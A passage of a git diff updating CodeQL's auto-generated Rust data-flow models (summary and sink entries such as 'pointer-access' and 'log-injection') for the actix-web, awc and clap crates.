["repo:https://github.com/actix/actix-web:actix-web", "::from_parts", "Argument[0]", "ReturnValue.Field[crate::service::ServiceRequest::req]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::from_parts", "Argument[1]", "ReturnValue.Field[crate::service::ServiceRequest::payload]", "value", "dfc-generated"] @@ -373,13 +387,20 @@ extensions: pack: codeql/rust-all extensible: sinkModel data: + - ["repo:https://github.com/actix/actix-web:actix-web", "::ranked", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::negotiate", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::ranked", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::ranked", "Argument[self]", "pointer-access", "df-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::new", "Argument[1]", "log-injection", "df-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::new_strong", "Argument[0]", "log-injection", "df-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::new_weak", "Argument[0]", "log-injection", "df-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::strong", "Argument[0]", "log-injection", "df-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::weak", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::new", "Argument[0]", "pointer-access", "df-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::new", "Argument[0]", "log-injection", "df-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::custom_request_replace", "Argument[0]", "log-injection", "df-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::custom_response_replace", "Argument[0]", "log-injection", "df-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::new", "Argument[0]", "log-injection", "df-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::respond_to", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::register", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::register", "Argument[self]", "pointer-access", "df-generated"] diff --git a/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-awc.model.yml b/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-awc.model.yml index 30828f012fa..89bb79bf279 100644 --- a/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-awc.model.yml +++ b/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-awc.model.yml @@ -5,9 +5,12 @@ extensions: extensible: summaryModel data: - ["repo:https://github.com/actix/actix-web:awc", "::add_default_header", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::basic_auth", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::bearer_auth", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::connector", "Argument[0]", "ReturnValue.Field[crate::builder::ClientBuilder::connector]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::disable_redirects", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::disable_timeout", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::finish", "Argument[self].Field[crate::builder::ClientBuilder::timeout]", "ReturnValue.Field[crate::client::Client(0)].Field[crate::client::ClientConfig::timeout]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::header", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::initial_connection_window_size", "Argument[0]", "Argument[self].Field[crate::builder::ClientBuilder::conn_window_size].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::initial_connection_window_size", "Argument[0]", "ReturnValue.Field[crate::builder::ClientBuilder::conn_window_size].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] @@ -29,18 +32,34 @@ extensions: - ["repo:https://github.com/actix/actix-web:awc", "::timeout", "Argument[0]", "ReturnValue.Field[crate::builder::ClientBuilder::timeout].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::timeout", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::wrap", "Argument[0]", "ReturnValue.Field[crate::builder::ClientBuilder::middleware].Field[crate::middleware::NestTransform::parent]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:awc", "::delete", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/actix/actix-web:awc", "::get", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/actix/actix-web:awc", "::head", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/actix/actix-web:awc", "::options", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/actix/actix-web:awc", "::patch", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/actix/actix-web:awc", "::post", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/actix/actix-web:awc", "::put", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::delete", "Argument[self].Field[0].Reference", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::delete", "Argument[self].Field[crate::client::Client(0)].Reference", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::get", "Argument[self].Field[0].Reference", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::get", "Argument[self].Field[crate::client::Client(0)].Reference", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::head", "Argument[self].Field[0].Reference", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::head", "Argument[self].Field[crate::client::Client(0)].Reference", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::options", "Argument[self].Field[0].Reference", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::options", "Argument[self].Field[crate::client::Client(0)].Reference", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::patch", "Argument[self].Field[0].Reference", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::patch", "Argument[self].Field[crate::client::Client(0)].Reference", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::post", "Argument[self].Field[0].Reference", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::post", "Argument[self].Field[crate::client::Client(0)].Reference", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::put", "Argument[self].Field[0].Reference", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::put", "Argument[self].Field[crate::client::Client(0)].Reference", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::request", "Argument[0]", "ReturnValue.Field[crate::request::ClientRequest::head].Field[crate::requests::head::RequestHead::method]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::request", "Argument[self].Field[0].Reference", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::request", "Argument[self].Field[crate::client::Client(0)].Reference", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::request_from", "Argument[1].Field[crate::requests::head::RequestHead::method].Reference", "ReturnValue.Field[crate::request::ClientRequest::head].Field[crate::requests::head::RequestHead::method]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:awc", "::request_from", "Argument[1].Field[crate::requests::head::RequestHead::method]", "ReturnValue.Field[crate::request::ClientRequest::head].Field[crate::requests::head::RequestHead::method]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:awc", "::ws", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::request_from", "Argument[self].Field[0].Reference", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::request_from", "Argument[self].Field[crate::client::Client(0)].Reference", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::ws", "Argument[self].Field[0].Reference", "ReturnValue.Field[crate::ws::WebsocketsRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::ws", "Argument[self].Field[crate::client::Client(0)].Reference", "ReturnValue.Field[crate::ws::WebsocketsRequest::config]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::no_disconnect_timeout", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::open_tunnel", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::open_tunnel", "Argument[self]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::send_request", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::send_request", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::send_request", "Argument[self]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::new", "Argument[0]", "ReturnValue.Field[crate::client::connection::H2ConnectionInner::sender]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::conn_keep_alive", "Argument[0]", "Argument[self].Field[crate::client::connector::Connector::config].Field[crate::client::config::ConnectorConfig::conn_keep_alive]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::conn_keep_alive", "Argument[0]", "ReturnValue.Field[crate::client::connector::Connector::config].Field[crate::client::config::ConnectorConfig::conn_keep_alive]", "value", "dfc-generated"] @@ -88,21 +107,23 @@ extensions: - ["repo:https://github.com/actix/actix-web:awc", "::timeout", "Argument[0]", "Argument[self].Field[crate::client::connector::Connector::config].Field[crate::client::config::ConnectorConfig::timeout]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::timeout", "Argument[0]", "ReturnValue.Field[crate::client::connector::Connector::config].Field[crate::client::config::ConnectorConfig::timeout]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::timeout", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::call", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::call", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::call", "Argument[self].Field[crate::client::connector::TlsConnectorService::timeout]", "ReturnValue.Field[crate::client::connector::TlsConnectorFuture::TcpConnect::timeout]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::call", "Argument[self].Field[crate::client::connector::TlsConnectorService::tls_service].Reference", "ReturnValue.Field[crate::client::connector::TlsConnectorFuture::TcpConnect::tls_service].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::call", "Argument[self].Field[crate::client::connector::TlsConnectorService::tls_service]", "ReturnValue.Field[crate::client::connector::TlsConnectorFuture::TcpConnect::tls_service].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::from", "Argument[0]", "ReturnValue.Field[crate::client::error::ConnectError::Io(0)]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::from", "Argument[0]", "ReturnValue.Field[crate::client::error::ConnectError::Resolver(0)]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:awc", "::from", "Argument[0].Field[crate::sender::PrepForSendingError::Http(0)]", "ReturnValue.Field[crate::client::error::FreezeRequestError::Http(0)]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:awc", "::from", "Argument[0].Field[crate::sender::PrepForSendingError::Url(0)]", "ReturnValue.Field[crate::client::error::FreezeRequestError::Url(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::from", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::from", "Argument[0].Field[crate::client::error::FreezeRequestError::Custom(0)]", "ReturnValue.Field[crate::client::error::SendRequestError::Custom(0)]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::from", "Argument[0].Field[crate::client::error::FreezeRequestError::Custom(1)]", "ReturnValue.Field[crate::client::error::SendRequestError::Custom(1)]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:awc", "::from", "Argument[0].Field[crate::sender::PrepForSendingError::Http(0)]", "ReturnValue.Field[crate::client::error::SendRequestError::Http(0)]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:awc", "::from", "Argument[0].Field[crate::sender::PrepForSendingError::Url(0)]", "ReturnValue.Field[crate::client::error::SendRequestError::Url(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::from", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::call", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::new", "Argument[0]", "ReturnValue.Field[crate::client::pool::ConnectionPool::connector]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::deref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::deref", "Argument[self].Field[crate::client::pool::ConnectionPoolInner(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::from", "Argument[0]", "ReturnValue.Field[crate::client::pool::Key::authority]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::call", "Argument[self].Field[crate::client::pool::test::TestPoolConnector::generated].Reference", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::into_client_response", "Argument[self].Field[crate::connect::ConnectResponse::Client(0)]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::into_tunnel_response", "Argument[self].Field[crate::connect::ConnectResponse::Tunnel(0)]", "ReturnValue.Field[0]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::into_tunnel_response", "Argument[self].Field[crate::connect::ConnectResponse::Tunnel(1)]", "ReturnValue.Field[1]", "value", "dfc-generated"] @@ -167,18 +188,16 @@ extensions: - ["repo:https://github.com/actix/actix-web:awc", "::version", "Argument[0]", "ReturnValue.Field[crate::request::ClientRequest::head].Field[crate::requests::head::RequestHead::version]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::version", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::limit", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:awc", "::new", "Argument[0].Field[crate::responses::response::ClientResponse::timeout]", "ReturnValue.Field[crate::responses::json_body::JsonBody::timeout]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::new", "Argument[0]", "ReturnValue.Field[crate::responses::read_body::ReadBody::stream]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::new", "Argument[1]", "ReturnValue.Field[crate::responses::read_body::ReadBody::limit]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::extensions", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::extensions_mut", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::headers", "Argument[self].Field[crate::responses::response::ClientResponse::head].Field[crate::responses::head::ResponseHead::headers]", "ReturnValue.Reference", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:awc", "::take_payload", "Argument[self].Field[crate::responses::response::ClientResponse::payload]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::_timeout", "Argument[0]", "Argument[self].Field[crate::responses::response::ClientResponse::timeout].Field[crate::responses::ResponseTimeout::Disabled(0)]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::_timeout", "Argument[0]", "ReturnValue.Field[crate::responses::response::ClientResponse::timeout].Field[crate::responses::ResponseTimeout::Disabled(0)]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::_timeout", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:awc", "::body", "Argument[self].Field[crate::responses::response::ClientResponse::timeout]", "ReturnValue.Field[crate::responses::response_body::ResponseBody::timeout]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::head", "Argument[self].Field[crate::responses::response::ClientResponse::head]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::headers", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/actix/actix-web:awc", "::json", "Argument[self].Field[crate::responses::response::ClientResponse::timeout]", "ReturnValue.Field[crate::responses::json_body::JsonBody::timeout]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::map_body", "Argument[0].ReturnValue", "ReturnValue.Field[crate::responses::response::ClientResponse::payload]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::new", "Argument[0]", "ReturnValue.Field[crate::responses::response::ClientResponse::head]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::new", "Argument[1]", "ReturnValue.Field[crate::responses::response::ClientResponse::payload]", "value", "dfc-generated"] @@ -186,7 +205,6 @@ extensions: - ["repo:https://github.com/actix/actix-web:awc", "::timeout", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::version", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::limit", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:awc", "::new", "Argument[0].Field[crate::responses::response::ClientResponse::timeout]", "ReturnValue.Field[crate::responses::response_body::ResponseBody::timeout]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::send", "Argument[1]", "ReturnValue.Field[crate::sender::SendClientRequest::Fut(2)]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::send_body", "Argument[1]", "ReturnValue.Field[crate::sender::SendClientRequest::Fut(2)]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:awc", "::send_form", "Argument[1]", "ReturnValue.Field[crate::sender::SendClientRequest::Fut(2)]", "value", "dfc-generated"] @@ -223,4 +241,25 @@ extensions: pack: codeql/rust-all extensible: sinkModel data: + - ["repo:https://github.com/actix/actix-web:awc", "::send", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::send_body", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::send_form", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::send_json", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::send_stream", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::send", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::send_body", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::send_form", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::send_json", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::send_stream", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::send", "Argument[2]", "pointer-access", "df-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::send", "Argument[3]", "pointer-access", "df-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::send_body", "Argument[2]", "pointer-access", "df-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::send_body", "Argument[3]", "pointer-access", "df-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::send_form", "Argument[2]", "pointer-access", "df-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::send_form", "Argument[3]", "pointer-access", "df-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::send_json", "Argument[2]", "pointer-access", "df-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::send_json", "Argument[3]", "pointer-access", "df-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::send_stream", "Argument[2]", "pointer-access", "df-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::send_stream", "Argument[3]", "pointer-access", "df-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::new", "Argument[2]", "pointer-access", "df-generated"] - ["repo:https://github.com/actix/actix-web:awc", "crate::client::h2proto::send_request", "Argument[1]", "log-injection", "df-generated"] diff --git a/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap.model.yml b/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap.model.yml index f6539d8bde1..154e6912173 100644 --- a/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap.model.yml +++ b/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap.model.yml @@ -8,10 +8,17 @@ extensions: - ["repo:https://github.com/clap-rs/clap:clap", "::augment_args_for_update", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap", "::augment_subcommands", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap", "::augment_subcommands_for_update", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/clap-rs/clap:clap", "::from_str", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/clap-rs/clap:clap", "::from_str", "Argument[0]", "ReturnValue", "taint", "df-generated"] - addsTo: pack: codeql/rust-all extensible: sinkModel data: + - ["repo:https://github.com/clap-rs/clap:clap", "::from_arg_matches", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap", "::from_arg_matches_mut", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap", "::update_from_arg_matches", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap", "::update_from_arg_matches_mut", "Argument[0]", "log-injection", "df-generated"] - ["repo:https://github.com/clap-rs/clap:clap", "::from_matches", "Argument[0]", "log-injection", "df-generated"] diff --git a/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap_bench.model.yml b/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap_bench.model.yml index 8daf130e9ea..0e9975300bd 100644 --- a/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap_bench.model.yml +++ b/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap_bench.model.yml @@ -4,6 +4,7 @@ extensions: pack: codeql/rust-all extensible: summaryModel data: + - ["repo:https://github.com/clap-rs/clap:clap_bench", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/clap-rs/clap:clap_bench", "::args", "Argument[self].Field[1]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_bench", "::args", "Argument[self].Field[crate::Args(1)]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_bench", "::name", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap_builder.model.yml b/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap_builder.model.yml index a26bc4c1a0b..c58ac26b4fe 100644 --- a/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap_builder.model.yml +++ b/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap_builder.model.yml @@ -4,11 +4,13 @@ extensions: pack: codeql/rust-all extensible: summaryModel data: + - ["repo:https://github.com/clap-rs/clap:clap_builder", "<_ as crate::builder::value_parser::AnyValueParser>::clone_any", "Argument[self].Reference", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "<_ as crate::builder::value_parser::TypedValueParser>::parse_ref", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::into_resettable", "Argument[self]", "ReturnValue.Field[crate::builder::resettable::Resettable::Value(0)]", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::into_resettable", "Argument[self]", "ReturnValue.Field[crate::builder::resettable::Resettable::Value(0)]", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::bitor", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::from", "Argument[0].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::action", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::add", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::alias", "Argument[self]", "ReturnValue", "value", "dfc-generated"] @@ -217,6 +219,7 @@ extensions: - ["repo:https://github.com/clap-rs/clap:clap_builder", "::visible_long_flag_aliases", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::visible_short_flag_alias", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::visible_short_flag_aliases", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::from", "Argument[0].Reference", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::alias", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::aliases", "Argument[self]", "ReturnValue", "value", "dfc-generated"] @@ -242,6 +245,7 @@ extensions: - ["repo:https://github.com/clap-rs/clap:clap_builder", "::from", "Argument[0].Reference.Reference", "ReturnValue.Field[crate::builder::styled_str::StyledStr(0)]", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::from", "Argument[0].Reference", "ReturnValue.Field[crate::builder::styled_str::StyledStr(0)]", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::from", "Argument[0]", "ReturnValue.Field[crate::builder::styled_str::StyledStr(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::ansi", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::ansi", "Argument[self].Field[crate::builder::styled_str::StyledStr(0)]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::as_styled_str", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] @@ -287,16 +291,25 @@ extensions: - ["repo:https://github.com/clap-rs/clap:clap_builder", "::from", "Argument[0].Field[crate::builder::value_parser::_AnonymousValueParser(0)]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/clap-rs/clap:clap_builder", "::apply", 